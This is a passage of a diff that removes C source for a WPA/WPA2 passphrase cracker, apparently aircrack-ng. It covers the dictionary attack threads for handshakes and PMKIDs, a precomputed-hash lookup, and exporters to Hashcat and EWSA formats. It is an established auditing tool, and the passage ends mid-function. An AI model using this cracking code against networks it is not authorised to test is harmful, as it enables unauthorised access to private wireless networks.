-	printf("EAPOL HMAC     : ");
-
-	if (opt.l33t)
-	{
-		textstyle(TEXT_BRIGHT);
-		textcolor_fg(TEXT_GREEN);
-	}
-	for (i = 0; i < 16; i++) printf("%02X ", mic[i]);
-
-	printf("\n");
-__out:
-	pthread_mutex_unlock(&mx_wpastats);
-}
-
-/**
- * Called in response to successfully cracking a WPA key.
- *
- * @param data A structure containing the WPA data.
- * @param keys An array of passphrases.
- * @param mic An array of calculated MIC codes.
- * @param nparallel The number of used slots in each array.
- * @param threadid The current thread ID number.
- * @param j The winning index, containing the successful data.
- */
-static void crack_wpa_successfully_cracked(
-	struct WPA_data * data,
-	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	int nparallel,
-	int threadid,
-	int j)
-{
-	// pre-conditions
-	assert(data != NULL);
-	assert(keys != NULL);
-	assert(mic != NULL);
-	assert(nparallel > 0 && nparallel <= MAX_KEYS_PER_CRYPT_SUPPORTED);
-	assert(threadid >= 0 && threadid < MAX_THREADS);
-	assert(j >= 0 && j < nparallel);
-
-	FILE * keyFile = NULL;
-	int i;
-
-	// to stop do_wpa_crack, we close the dictionary
-	pthread_mutex_lock(&mx_dic);
-	if (opt.dict != NULL)
-	{
-		if (!opt.stdin_dict) fclose(opt.dict);
-		opt.dict = NULL;
-	}
-	pthread_mutex_unlock(&mx_dic);
-
-	for (i = 0; i < opt.nbcpu; i++)
-	{
-		// we make sure do_wpa_crack doesn't block before exiting,
-		// now that we're not consuming passphrases here any longer
-		pthread_cond_broadcast(&wpa_data[i].cond);
-	}
-
-	memset(data->key, 0, sizeof(data->key));
-	memcpy(data->key, keys[j].v, sizeof(keys[0].v));
-
-	// Write the key to a file
-	if (opt.logKeyToFile != NULL)
-	{
-		keyFile = fopen(opt.logKeyToFile, "w");
-		if (keyFile != NULL)
-		{
-			fprintf(keyFile, "%s", keys[j].v);
-			fclose(keyFile);
-		}
-	}
-
-	if (opt.is_quiet)
-	{
-		return;
-	}
-
-	pthread_mutex_lock(&mx_nb);
-
-	for (i = 0; i < nparallel; i++)
-		if (keys[i].length > 0)
-		{
-			nb_tried++;
-			nb_kprev++;
-		}
-
-	pthread_mutex_unlock(&mx_nb);
-
-	int len = keys[j].length;
-	if (len > 64) len = 64;
-	if (len < 8) len = 8;
-	show_wpa_stats((char *) keys[j].v,
-				   len,
-				   dso_ac_crypto_engine_get_pmk(&engine, threadid, j),
-				   dso_ac_crypto_engine_get_ptk(&engine, threadid, j),
-				   mic[j],
-				   1);
-
-	if (opt.l33t)
-	{
-		textstyle(TEXT_BRIGHT);
-		textcolor_fg(TEXT_RED);
-	}
-
-	moveto((80 - 15 - (int) len) / 2, 8);
-	erase_line(2);
-	printf("KEY FOUND! [ %s ]\n", keys[j].v);
-	move(CURSOR_DOWN, 11);
-
-	if (opt.l33t)
-	{
-		textcolor_normal();
-		textcolor_fg(TEXT_GREEN);
-	}
-}
-
-static int crack_wpa_thread(void * arg)
-{
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
-	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
-		__attribute__((aligned(64)));
-	char essid[128] __attribute__((aligned(16)));
-
-	struct WPA_data * data;
-	struct AP_info * ap;
-	int threadid = 0;
-	int ret = 0;
-	int i, j, len;
-
-	int nparallel = dso_ac_crypto_engine_simd_width();
-
-	data = (struct WPA_data *) arg;
-	ap = data->ap;
-	threadid = data->threadid;
-	strncpy(essid, ap->essid, ESSID_LENGTH);
-
-	// The attack below requires a full handshake.
-	assert(ap->wpa.state == 7);
-
-	dso_ac_crypto_engine_thread_init(&engine, threadid);
-
-#ifdef XDEBUG
-	if (nparallel > 1)
-		fprintf(stderr,
-				"The Crypto Engine will crack %d in parallel.\n",
-				nparallel);
-	else
-		fprintf(stderr,
-				"WARNING: The Crypto Engine is unable to crack in parallel.\n");
-#endif
-
-	dso_ac_crypto_engine_calc_pke(&engine,
-								  ap->bssid,
-								  ap->wpa.stmac,
-								  ap->wpa.anonce,
-								  ap->wpa.snonce,
-								  threadid);
-
-#ifdef XDEBUG
-	printf("Thread # %d starting...\n", threadid);
-#endif
-
-	while (!close_aircrack)
-	{
-		/* receive passphrases */
-		memset(keys, 0, sizeof(keys));
-
-		for (j = 0; j < nparallel; ++j)
-		{
-			uint8_t * our_key = keys[j].v;
-
-			while (wpa_receive_passphrase((char *) our_key, data) == 0)
-			{
-				if (wpa_wordlists_done
-					== 1) // if no more words will arrive and...
-				{
-					if (j == 0)
-					{
-						dso_ac_crypto_engine_thread_destroy(&engine, threadid);
-						return SUCCESS;
-					}
-					else // ...we have some key pending in this loop: keep
-						// working
-						break;
-				}
-
-				sched_yield(); // yield the processor until there are keys
-				// available
-				// this only happens when the queue is empty (when beginning and
-				// ending the wordlist)
-			}
-
-			keys[j].length = (uint32_t) strlen((const char *) keys[j].v);
-#ifdef XDEBUG
-			printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
-#endif
-		}
-
-		if ((int) unlikely(
-				(j = dso_ac_crypto_engine_wpa_crack(&engine,
-													keys,
-													ap->wpa.eapol,
-													ap->wpa.eapol_size,
-													mic,
-													ap->wpa.keyver,
-													ap->wpa.keymic,
-													nparallel,
-													threadid))
-				>= 0))
-		{
-#ifdef XDEBUG
-			printf("%d - %lu FOUND IT AT %d %p !\n",
-				   threadid,
-				   pthread_self(),
-				   j,
-				   keys[j].v);
-#endif
-			crack_wpa_successfully_cracked(
-				data, keys, mic, nparallel, threadid, j);
-
-			ret = SUCCESS;
-			goto crack_wpa_cleanup;
-		}
-
-		int nbkeys = 0;
-		for (i = 0; i < nparallel; i++)
-			if (keys[i].length > 0)
-			{
-				++nbkeys;
-			}
-
-		pthread_mutex_lock(&mx_nb);
-
-		nb_tried += nbkeys;
-		nb_kprev += nbkeys;
-
-		pthread_mutex_unlock(&mx_nb);
-
-		if (threadid <= 1 && !opt.is_quiet)
-		{
-			len = keys[0].length;
-			if (len > 64) len = 64;
-			if (len < 8) len = 8;
-
-			show_wpa_stats((char *) keys[0].v,
-						   len,
-						   dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
-						   dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
-						   mic[0],
-						   0);
-		}
-	}
-
-crack_wpa_cleanup:
-	dso_ac_crypto_engine_thread_destroy(&engine, threadid);
-
-	return ret;
-}
-
-static int crack_wpa_pmkid_thread(void * arg)
-{
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
-	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
-		__attribute__((aligned(64)));
-	char essid[128] __attribute__((aligned(16)));
-
-	struct WPA_data * data;
-	struct AP_info * ap;
-	int threadid = 0;
-	int ret = 0;
-	int i;
-	int j;
-	int len;
-	int nparallel = dso_ac_crypto_engine_simd_width();
-
-	data = (struct WPA_data *) arg;
-	ap = data->ap;
-	threadid = data->threadid;
-	strncpy(essid, ap->essid, ESSID_LENGTH);
-
-	// Check some pre-conditions.
-	assert(ap->wpa.state > 0 && ap->wpa.state < 7);
-	assert(ap->wpa.pmkid[0] != 0x00);
-
-	dso_ac_crypto_engine_thread_init(&engine, threadid);
-
-	dso_ac_crypto_engine_set_pmkid_salt(
-		&engine, ap->bssid, ap->wpa.stmac, threadid);
-
-#ifdef XDEBUG
-	printf("Thread # %d starting...\n", threadid);
-#endif
-
-	while (!close_aircrack)
-	{
-		/* receive passphrases */
-		memset(keys, 0, sizeof(keys));
-
-		for (j = 0; j < nparallel; ++j)
-		{
-			uint8_t * our_key = keys[j].v;
-
-			while (wpa_receive_passphrase((char *) our_key, data) == 0)
-			{
-				if (wpa_wordlists_done
-					== 1) // if no more words will arrive and...
-				{
-					if (j == 0)
-					{
-						dso_ac_crypto_engine_thread_destroy(&engine, threadid);
-						return SUCCESS;
-					}
-					else // ...we have some key pending in this loop: keep
-						// working
-						break;
-				}
-
-				sched_yield(); // yield the processor until there are keys
-				// available
-				// this only happens when the queue is empty (when beginning and
-				// ending the wordlist)
-			}
-
-			keys[j].length = (uint32_t) strlen((const char *) keys[j].v);
-#ifdef XDEBUG
-			printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
-#endif
-		}
-
-		if ((int) unlikely(
-				(j = dso_ac_crypto_engine_wpa_pmkid_crack(
-					 &engine, keys, ap->wpa.pmkid, nparallel, threadid))
-				>= 0))
-		{
-#ifdef XDEBUG
-			printf("%d - %lu FOUND IT AT %d %p !\n",
-				   threadid,
-				   pthread_self(),
-				   j,
-				   keys[j].v);
-#endif
-			crack_wpa_successfully_cracked(
-				data, keys, mic, nparallel, threadid, j);
-
-			ret = SUCCESS;
-			goto crack_wpa_cleanup;
-		}
-
-		int nbkeys = 0;
-		for (i = 0; i < nparallel; i++)
-			if (keys[i].length > 0)
-			{
-				++nbkeys;
-			}
-
-		pthread_mutex_lock(&mx_nb);
-
-		nb_tried += nbkeys;
-		nb_kprev += nbkeys;
-
-		pthread_mutex_unlock(&mx_nb);
-
-		if (threadid <= 1 && !opt.is_quiet)
-		{
-			len = keys[0].length;
-			if (len > 64) len = 64;
-			if (len < 8) len = 8;
-
-			show_wpa_stats((char *) keys[0].v,
-						   len,
-						   dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
-						   dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
-						   mic[0],
-						   0);
-		}
-	}
-
-crack_wpa_cleanup:
-	dso_ac_crypto_engine_thread_destroy(&engine, threadid);
-
-	return ret;
-}
-
-/**
- * Open a specific dictionary
- * nb: index of the dictionary
- * return 0 on success and FAILURE if it failed
- */
-static int next_dict(int nb)
-{
-	off_t tmpword = 0;
-
-	pthread_mutex_lock(&mx_dic);
-	if (opt.dict != NULL)
-	{
-		if (!opt.stdin_dict) fclose(opt.dict);
-		opt.dict = NULL;
-	}
-	opt.nbdict = nb;
-	if (opt.dicts[opt.nbdict] == NULL)
-	{
-		pthread_mutex_unlock(&mx_dic);
-		return (FAILURE);
-	}
-
-	while (opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL)
-	{
-		if (strcmp(opt.dicts[opt.nbdict], "-") == 0)
-		{
-			opt.stdin_dict = 1;
-			opt.dictfinish = 1; // no ETA stats on stdin
-
-			if ((opt.dict = fdopen(fileno(stdin), "r")) == NULL)
-			{
-				perror("fdopen(stdin) failed");
-				opt.nbdict++;
-				continue;
-			}
-
-			opt.no_stdin = 1;
-		}
-		else
-		{
-			opt.stdin_dict = 0;
-			if ((opt.dict = fopen(opt.dicts[opt.nbdict], "r")) == NULL)
-			{
-				printf("ERROR: Opening dictionary %s failed (%s)\n",
-					   opt.dicts[opt.nbdict],
-					   strerror(errno));
-				opt.nbdict++;
-				continue;
-			}
-
-			fseek(opt.dict, 0L, SEEK_END);
-
-			if (ftello(opt.dict) <= 0L)
-			{
-				printf("ERROR: Processing dictionary file %s (%s)\n",
-					   opt.dicts[opt.nbdict],
-					   strerror(errno));
-				fclose(opt.dict);
-				opt.dict = NULL;
-				opt.nbdict++;
-				continue;
-			}
-
-			if (!opt.dictfinish)
-			{
-				chrono(&t_dictup, 1);
-				opt.dictidx[opt.nbdict].dictsize = ftello(opt.dict);
-
-				if (!opt.dictidx[opt.nbdict].dictpos
-					|| (opt.dictidx[opt.nbdict].dictpos
-						> opt.dictidx[opt.nbdict].dictsize))
-				{
-					tmpword = (long double) linecount(
-						opt.dicts[opt.nbdict],
-						(opt.dictidx[opt.nbdict].dictpos
-							 ? opt.dictidx[opt.nbdict].dictpos
-							 : 0),
-						32);
-					opt.dictidx[opt.nbdict].wordcount += tmpword;
-					opt.wordcount += tmpword;
-					opt.dictidx[opt.nbdict].dictpos = (READBUF_BLKSIZE * 32);
-				}
-			}
-
-			rewind(opt.dict);
-		}
-		break;
-	}
-
-	pthread_mutex_unlock(&mx_dic);
-
-	if (opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL)
-		return (FAILURE);
-
-	// Update wordlist ID and position in session
-	if (cracking_session)
-	{
-		pthread_mutex_lock(&(cracking_session->mutex));
-
-		cracking_session->pos = 0;
-		cracking_session->wordlist_id = opt.nbdict;
-
-		pthread_mutex_unlock(&(cracking_session->mutex));
-	}
-
-	return (0);
-}
-
-#ifdef HAVE_SQLITE
-static int
-sql_wpacallback(void * arg, int ccount, char ** values, char ** columnnames)
-{
-	struct AP_info * ap = (struct AP_info *) arg;
-
-	unsigned char ptk[80];
-	unsigned char mic[20];
-	FILE * keyFile;
-
-	if (ccount)
-	{
-	} // XXX
-	if (columnnames)
-	{
-	} // XXX
-
-	calc_mic(ap, (unsigned char *) values[0], ptk, mic);
-
-	if (memcmp(mic, ap->wpa.keymic, 16) == 0)
-	{
-		// Write the key to a file
-		if (opt.logKeyToFile != NULL)
-		{
-			keyFile = fopen(opt.logKeyToFile, "w");
-			if (keyFile != NULL)
-			{
-				fprintf(keyFile, "%s", values[1]);
-				fclose(keyFile);
-			}
-		}
-
-		if (opt.is_quiet)
-		{
-			printf("KEY FOUND! [ %s ]\n", values[1]);
-			return 1;
-		}
-
-		show_wpa_stats(values[1],
-					   strlen(values[1]),
-					   (unsigned char *) (values[0]),
-					   ptk,
-					   mic,
-					   1);
-
-		if (opt.l33t)
-		{
-			textstyle(TEXT_BRIGHT);
-			textcolor_fg(TEXT_RED);
-		}
-
-		moveto((80 - 15 - (int) strlen(values[1])) / 2, 8);
-		erase_line(2);
-		printf("KEY FOUND! [ %s ]\n", values[1]);
-		move(CURSOR_DOWN, 11);
-
-		if (opt.l33t)
-		{
-			textcolor_normal();
-			textcolor_fg(TEXT_GREEN);
-		}
-
-		// abort the query
-		return 1;
-	}
-
-	pthread_mutex_lock(&mx_nb);
-	nb_tried++;
-	nb_kprev++;
-	pthread_mutex_unlock(&mx_nb);
-
-	if (!opt.is_quiet)
-		show_wpa_stats(values[1],
-					   strlen(values[1]),
-					   (unsigned char *) (values[0]),
-					   ptk,
-					   mic,
-					   0);
-
-	return 0;
-}
-#endif
-
-static int display_wpa_hash_information(struct AP_info * ap_cur)
-{
-	unsigned i = 0;
-
-	if (ap_cur == NULL)
-	{
-		printf("No valid WPA handshakes found.\n");
-		return (0);
-	}
-
-	if (memcmp(ap_cur->essid, ZERO, 32) == 0 && !opt.essid_set)
-	{
-		printf("An ESSID is required. Try option -e.\n");
-		return (0);
-	}
-
-	if (opt.essid_set && ap_cur->essid[0] == '\0')
-	{
-		memset(ap_cur->essid, 0, sizeof(ap_cur->essid));
-		strncpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid) - 1);
-	}
-
-	printf("[*] ESSID (length: %d): %s\n",
-		   (int) strlen(ap_cur->essid),
-		   ap_cur->essid);
-
-	printf("[*] Key version: %d\n", ap_cur->wpa.keyver);
-
-	printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
-		   ap_cur->bssid[0],
-		   ap_cur->bssid[1],
-		   ap_cur->bssid[2],
-		   ap_cur->bssid[3],
-		   ap_cur->bssid[4],
-		   ap_cur->bssid[5]);
-	printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X",
-		   ap_cur->wpa.stmac[0],
-		   ap_cur->wpa.stmac[1],
-		   ap_cur->wpa.stmac[2],
-		   ap_cur->wpa.stmac[3],
-		   ap_cur->wpa.stmac[4],
-		   ap_cur->wpa.stmac[5]);
-
-	printf("\n[*] anonce:");
-	for (i = 0; i < 32; i++)
-	{
-		if (i % 16 == 0) printf("\n    ");
-		printf("%02X ", ap_cur->wpa.anonce[i]);
-	}
-
-	printf("\n[*] snonce:");
-	for (i = 0; i < 32; i++)
-	{
-		if (i % 16 == 0) printf("\n    ");
-		printf("%02X ", ap_cur->wpa.snonce[i]);
-	}
-
-	printf("\n[*] Key MIC:\n   ");
-	for (i = 0; i < 16; i++)
-	{
-		printf(" %02X", ap_cur->wpa.keymic[i]);
-	}
-
-	printf("\n[*] eapol:");
-	for (i = 0; i < ap_cur->wpa.eapol_size; i++)
-	{
-		if (i % 16 == 0) printf("\n    ");
-		printf("%02X ", ap_cur->wpa.eapol[i]);
-	}
-
-	return (1);
-}
-
-static int do_make_wkp(struct AP_info * ap_cur)
-{
-	size_t elt_written;
-
-	printf("\n\nBuilding WKP file...\n\n");
-	if (display_wpa_hash_information(ap_cur) == 0)
-	{
-		return (0);
-	}
-	printf("\n");
-
-	// write file
-	FILE * fp_wkp;
-	char frametmp[WKP_FRAME_LENGTH];
-	char * ptmp;
-
-	memcpy(frametmp, wkp_frame, WKP_FRAME_LENGTH * sizeof(char));
-
-	// Make sure the filename contains the extension
-	if ((strstr(opt.wkp, ".wkp") == NULL
-		 || strlen(strstr(opt.wkp, ".wkp")) != 4)
-		&& (strstr(opt.wkp, ".WKP") == NULL
-			|| strlen(strstr(opt.wkp, ".WKP")) != 4))
-	{
-		strcat(opt.wkp, ".wkp");
-	}
-
-	fp_wkp = fopen(opt.wkp, "w");
-	if (fp_wkp == NULL)
-	{
-		printf("\nFailed to create EWSA project file\n");
-		return 0;
-	}
-
-	// ESSID
-	memcpy(&frametmp[0x4c0], ap_cur->essid, sizeof(ap_cur->essid));
-
-	// BSSID
-	ptmp = (char *) ap_cur->bssid;
-	memcpy(&frametmp[0x514], ptmp, 6);
-
-	// Station Mac
-	ptmp = (char *) ap_cur->wpa.stmac;
-	memcpy(&frametmp[0x51a], ptmp, 6);
-
-	// ESSID
-	memcpy(&frametmp[0x520], ap_cur->essid, sizeof(ap_cur->essid));
-
-	// ESSID length
-	frametmp[0x540] = strlen(ap_cur->essid);
-
-	// WPA Key version
-	frametmp[0x544] = ap_cur->wpa.keyver;
-
-	// Size of EAPOL
-	frametmp[0x548] = ap_cur->wpa.eapol_size;
-
-	// anonce
-	ptmp = (char *) ap_cur->wpa.anonce;
-	memcpy(&frametmp[0x54c], ptmp, 32);
-
-	// snonce
-	ptmp = (char *) ap_cur->wpa.snonce;
-	memcpy(&frametmp[0x56c], ptmp, 32);
-
-	// EAPOL
-	ptmp = (char *) ap_cur->wpa.eapol;
-	memcpy(&frametmp[0x58c], ptmp, ap_cur->wpa.eapol_size);
-
-	// Key MIC
-	ptmp = (char *) ap_cur->wpa.keymic;
-	memcpy(&frametmp[0x68c], ptmp, 16);
-
-	elt_written = fwrite(frametmp, 1, WKP_FRAME_LENGTH, fp_wkp);
-	fclose(fp_wkp);
-
-	if ((int) elt_written == WKP_FRAME_LENGTH)
-	{
-		printf("\nSuccessfully written to %s\n", opt.wkp);
-	}
-	else
-	{
-		printf("\nFailed to write to %s\n !", opt.wkp);
-	}
-
-	return (1);
-}
-
-// return by value because it is the simplest interface and we call this
-// infrequently
-static hccap_t ap_to_hccap(struct AP_info * ap)
-{
-	hccap_t hccap;
-
-	memset(&hccap, 0, sizeof(hccap));
-	ap->wpa.state = 7;
-	ap->crypt = 3;
-
-	memcpy(&hccap.essid, &ap->essid, sizeof(ap->essid));
-	memcpy(&hccap.mac1, &ap->bssid, sizeof(ap->bssid));
-	memcpy(&hccap.mac2, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
-	memcpy(&hccap.nonce1, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
-	memcpy(&hccap.nonce2, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
-	memcpy(&hccap.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
-	memcpy(&hccap.eapol_size, &ap->wpa.eapol_size, sizeof(ap->wpa.eapol_size));
-	memcpy(&hccap.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
-	memcpy(&hccap.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
-	return hccap;
-}
-
-// Caller must free
-struct AP_info * hccap_to_ap(hccap_t * hccap)
-{
-	struct AP_info * ap = malloc(sizeof(struct AP_info));
-	memset(&ap, 0, sizeof(ap));
-
-	memcpy(&ap->essid, &hccap->essid, sizeof(hccap->essid));
-	memcpy(&ap->bssid, &hccap->mac1, sizeof(hccap->mac1));
-	memcpy(&ap->wpa.stmac, &hccap->mac2, sizeof(hccap->mac2));
-	memcpy(&ap->wpa.snonce, &hccap->nonce1, sizeof(hccap->nonce1));
-	memcpy(&ap->wpa.anonce, &hccap->nonce2, sizeof(hccap->nonce2));
-	memcpy(&ap->wpa.eapol, &hccap->eapol, sizeof(hccap->eapol));
-	memcpy(&ap->wpa.eapol_size, &hccap->eapol_size, sizeof(hccap->eapol_size));
-	memcpy(&ap->wpa.keyver, &hccap->keyver, sizeof(hccap->keyver));
-	memcpy(&ap->wpa.keymic, &hccap->keymic, sizeof(hccap->keymic));
-
-	return ap;
-}
-
-static int do_make_hccap(struct AP_info * ap_cur)
-{
-	size_t elt_written;
-
-	printf("\n\nBuilding Hashcat file...\n\n");
-	if (display_wpa_hash_information(ap_cur) == 0)
-	{
-		return (0);
-	}
-	printf("\n");
-
-	// write file
-	FILE * fp_hccap;
-
-	strcat(opt.hccap, ".hccap");
-
-	fp_hccap = fopen(opt.hccap, "wb");
-	if (fp_hccap == NULL)
-	{
-		printf("\nFailed to create Hashcat capture file\n");
-		return 0;
-	}
-
-	hccap_t hccap = ap_to_hccap(ap_cur);
-
-	elt_written = fwrite(&hccap, sizeof(hccap_t), 1, fp_hccap);
-	fclose(fp_hccap);
-
-	if ((int) elt_written == 1)
-	{
-		printf("\nSuccessfully written to %s\n", opt.hccap);
-	}
-	else
-	{
-		printf("\nFailed to write to %s\n !", opt.hccap);
-	}
-
-	return (1);
-}
-
-// Caller must free
-struct AP_info * hccapx_to_ap(struct hccapx * hx)
-{
-	struct AP_info * ap = malloc(sizeof(struct AP_info));
-	if (ap == NULL)
-	{
-		printf("Malloc Failed: everything will break\n");
-		return NULL;
-	}
-	memset(ap, 0, sizeof(struct AP_info));
-	ap->wpa.state = 7;
-	ap->crypt = 3;
-
-	memcpy(
-		&ap->essid, &hx->essid, MIN(sizeof(hx->essid), sizeof(ap->essid)) - 1);
-	memcpy(&ap->bssid, &hx->mac_ap, sizeof(hx->mac_ap));
-	memcpy(&ap->wpa.stmac, &hx->mac_sta, sizeof(hx->mac_sta));
-	memcpy(&ap->wpa.snonce, &hx->nonce_sta, sizeof(hx->nonce_sta));
-	memcpy(&ap->wpa.anonce, &hx->nonce_ap, sizeof(hx->nonce_ap));
-	memcpy(&ap->wpa.eapol, &hx->eapol, sizeof(hx->eapol));
-	memcpy(&ap->wpa.eapol_size, &hx->eapol_len, sizeof(hx->eapol_len));
-	memcpy(&ap->wpa.keyver, &hx->keyver, sizeof(hx->keyver));
-	memcpy(&ap->wpa.keymic, &hx->keymic, sizeof(hx->keymic));
-
-	return ap;
-}
-
-static hccapx_t ap_to_hccapx(struct AP_info * ap)
-{
-	struct hccapx hx;
-	uint32_t temp;
-	uint8_t ssid_len;
-
-	memset(&hx, 0, sizeof(hx));
-
-	temp = HCCAPX_SIGNATURE;
-	memcpy(&hx.signature, &temp, sizeof(temp));
-	temp = HCCAPX_CURRENT_VERSION;
-	memcpy(&hx.version, &temp, sizeof(temp));
-	hx.message_pair = 0; // Temporary (see docs)
-
-	ssid_len = (uint8_t) strlen(ap->essid);
-	memcpy(&hx.essid_len, &ssid_len, sizeof(ssid_len));
-
-	memcpy(&hx.essid, &ap->essid, sizeof(ap->essid) - 1);
-	memcpy(&hx.mac_ap, &ap->bssid, sizeof(ap->bssid));
-	memcpy(&hx.mac_sta, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
-	memcpy(&hx.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
-	memcpy(&hx.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
-	memcpy(&hx.nonce_sta, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
-	memcpy(&hx.nonce_ap, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
-	memcpy(&hx.eapol_len, &ap->wpa.eapol_size, sizeof(ap->wpa.eapol_size));
-	memcpy(&hx.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
-	return hx;
-}
-
-static int do_make_hccapx(struct AP_info * ap_cur)
-{
-	size_t elt_written;
-
-	printf("\n\nBuilding Hashcat (3.60+) file...\n\n");
-	if (display_wpa_hash_information(ap_cur) == 0)
-	{
-		return (0);
-	}
-	printf("\n");
-
-	// write file
-	FILE * fp_hccapx;
-
-	strcat(opt.hccapx, ".hccapx");
-
-	fp_hccapx = fopen(opt.hccapx, "wb");
-	if (fp_hccapx == NULL)
-	{
-		printf("\nFailed to create Hashcat X capture file\n");
-		return 0;
-	}
-
-	struct hccapx hx = ap_to_hccapx(ap_cur);
-
-	elt_written = fwrite(&hx, sizeof(struct hccapx), 1, fp_hccapx);
-	fclose(fp_hccapx);
-
-	if ((int) elt_written == 1)
-	{
-		printf("\nSuccessfully written to %s\n", opt.hccapx);
-	}
-	else
-	{
-		printf("\nFailed to write to %s\n !", opt.hccapx);
-	}
-
-	return (1);
-}
-
-static int do_wpa_crack(void)
-{
-	int i, j, cid, num_cpus, res;
-	char key1[128];
-
-	i = 0;
-	res = 0;
-	num_cpus = opt.nbcpu;
-
-	if (!opt.is_quiet && !_speed_test)
-	{
-		if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
-
-		erase_line(2);
-
-		if (opt.l33t)
-		{
-			textstyle(TEXT_BRIGHT);
-			textcolor_fg(TEXT_BLUE);
-		}
-
-		moveto(34, 2);
-		printf("%s", progname);
-	}
-
-	cid = 0;
-	while (num_cpus > 0)
-	{
-		/* read a couple of keys (skip those < 8 chars) */
-
-		pthread_mutex_lock(&mx_dic);
-
-		if (opt.dict == NULL)
-		{
-			pthread_mutex_unlock(&mx_dic);
-			return (FAILURE);
-		}
-		else
-			pthread_mutex_unlock(&mx_dic);
-		do
-		{
-			memset(key1, 0, sizeof(key1));
-			if (_speed_test)
-				strcpy(key1, "sorbosorbo");
-			else
-			{
-				pthread_mutex_lock(&mx_dic);
-				if (fgets(key1, sizeof(key1), opt.dict) == NULL)
-				{
-					pthread_mutex_unlock(&mx_dic);
-
-					if (opt.l33t)
-					{
-						textcolor_normal();
-						textcolor_fg(TEXT_GREEN);
-					}
-					/* printf( "\nPassphrase not in dictionary %s \n",
-					 * opt.dicts[opt.nbdict] );*/
-					if (next_dict(opt.nbdict + 1) != 0)
-					{
-						/* no more words, but we still have to wait for the
-						 * cracking threads */
-						num_cpus = cid;
-						// goto collect_and_test;
-						return (FAILURE);
-					}
-					else
-						continue;
-				}
-				else
-					pthread_mutex_unlock(&mx_dic);
-			}
-			i = strlen(key1);
-			if (i < 8) continue;
-			if (i > 64) i = 64;
-
-			while (i > 0 && (key1[i - 1] == '\r' || key1[i - 1] == '\n')) i--;
-			if (i <= 0) continue;
-			key1[i] = '\0';
-
-			for (j = 0; j < i; j++)
-				if (!isascii(key1[j]) || key1[j] < 32) i = 0;
-
-		} while (i < 8);
-
-		/* send the keys */
-
-		for (i = 0; i < opt.nbcpu; ++i)
-		{
-			res = wpa_send_passphrase(
-				key1, &(wpa_data[cid]), 0 /*don't block*/);
-			if (res != 0) break;
-			cid = (cid + 1) % opt.nbcpu;
-		}
-
-		if (res == 0) // if all queues are full, we block until there's room
-		{
-			wpa_send_passphrase(key1, &(wpa_data[cid]), 1 /*block*/);
-			cid = (cid + 1) % opt.nbcpu;
-		}
-	}
-
-	// printf( "\nPassphrase not in dictionary \n" );
-	return (FAILURE);
-}
-
-static int next_key(char ** key, int keysize)
-{
-	char *tmp, *tmpref;
-	int i, rtn;
-	unsigned int dec;
-	char * hex;
-
-	tmpref = tmp = (char *) malloc(1024);
-
-	while (1)
-	{
-		rtn = 0;
-		pthread_mutex_lock(&mx_dic);
-		if (opt.dict == NULL)
-		{
-			pthread_mutex_unlock(&mx_dic);
-			// printf( "\nPassphrase not in dictionary \n" );
-			free(tmpref);
-			tmp = NULL;
-			return (FAILURE);
-		}
-		else
-			pthread_mutex_unlock(&mx_dic);
-
-		if (opt.hexdict[opt.nbdict])
-		{
-			pthread_mutex_lock(&mx_dic);
-			if (fgets(tmp, ((keysize * 2) + (keysize - 1)), opt.dict) == NULL)
-			{
-				pthread_mutex_unlock(&mx_dic);
-				if (opt.l33t)
-				{
-					textcolor_normal();
-					textcolor_fg(TEXT_GREEN);
-				}
-
-				//				printf( "\nPassphrase not in dictionary \"%s\"
-				//\n",
-				// opt.dicts[opt.nbdict] );
-				if (next_dict(opt.nbdict + 1) != 0)
-				{
-					free(tmpref);
-					tmp = NULL;
-					return (FAILURE);
-				}
-				else
-					continue;
-			}
-			else
-				pthread_mutex_unlock(&mx_dic);
-
-			i = strlen(tmp);
-
-			if (i <= 2) continue;
-
-			if (tmp[i - 1] == '\n') tmp[--i] = '\0';
-			if (tmp[i - 1] == '\r') tmp[--i] = '\0';
-			if (i <= 0) continue;
-
-			i = 0;
-
-			hex = strsep(&tmp, ":");
-
-			while (i < keysize && hex != NULL)
-			{
-				if (strlen(hex) > 2 || strlen(hex) == 0)
-				{
-					rtn = 1;
-					break;
-				}
-				if (sscanf(hex, "%x", &dec) == 0)
-				{
-					rtn = 1;
-					break;
-				}
-
-				(*key)[i] = dec;
-				hex = strsep(&tmp, ":");
-				i++;
-			}
-			if (rtn)
-			{
-				continue;
-			}
-		}
-		else
-		{
-			pthread_mutex_lock(&mx_dic);
-			if (fgets(*key, keysize, opt.dict) == NULL)
-			{
-				pthread_mutex_unlock(&mx_dic);
-				if (opt.l33t)
-				{
-					textcolor_normal();
-					textcolor_fg(TEXT_GREEN);
-				}
-
-				//				printf( "\nPassphrase not in dictionary \"%s\"
-				//\n",
-				// opt.dicts[opt.nbdict] );
